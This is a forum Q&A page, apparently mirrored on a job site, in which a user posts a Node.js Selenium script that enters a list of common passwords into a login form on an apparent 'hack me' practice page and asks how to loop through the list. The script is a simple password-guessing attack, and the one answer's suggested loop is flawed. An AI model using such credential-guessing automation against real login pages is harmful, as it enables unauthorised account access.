Empresas
Empregos
  • Sobre nós
  • Soluções
    • Publicação de vagas
      Publique sua vaga e receba candidatos qualificados em 48h.
    • Avaliações de candidatos
      Mais de 500 testes técnicos e psicológicos, mais anti-fraude.
    • Headhunting
      Busca executiva personalizada do início ao fim.
    • Folha de Pagamento + EOR
      Dispersão de folha e EOR em mais de 15 países da LATAM.
  • Preços
  • Empregos

0

165
Visualizações
Call function multiple time nodejs

I have following code, to insert passwords on a website.

require('chromedriver');
var webdriver = require('selenium-webdriver');
var driver = new webdriver.Builder()
    .forBrowser('chrome')
    .build();
driver.get('https://junusergin.github.io/hack-mich/login.html');
    
let dictionary = [123456, 123456789, 12345, "qwerty", "password", 12345678, 111111, 123123, 1234567890, 1234567, "qwerty123", "000000", "1q2w3e", "aa12345678", "abc123"];
    
function tryCombinations(combinations) {
    let index = 0;
    
    inputField = driver.findElement(webdriver.By.id('username'));
    driver.executeScript("arguments[0].setAttribute('value', 'test')", inputField);
        
    inputField = driver.findElement(webdriver.By.id('password'));
    driver.executeScript("arguments[0].setAttribute('value',  '" + combinations[index] +"')", inputField);
        
    driver.findElement(webdriver.By.className('button')).click();
    
    index++;
}

If I start the Script, it paste the first password in the browser. I want now to put in each password from the array.

For this my idea was something like this:

dictionary.forEach(element => tryCombinations(element));

Does someone know, why it does not work?

about 4 years ago · Juan Pablo Isaza
1 Respostas
Responde à pergunta

0

replace the dictionary foreach with this

for (var i in dictionary) {
 tryCombinations(dictionary[i]);
}
about 4 years ago · Juan Pablo Isaza Relatório
Responde à pergunta
Encontrar trabalhos remotos

Descubra a nova forma de encontrar um emprego!

melhores empregos
Principais categorias de trabalho
Empresas
Postar vaga Preços Comercial
Jurídico
Termos e Condições Política de privacidade
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomende algumas ofertas para mim
Preciso de ajuda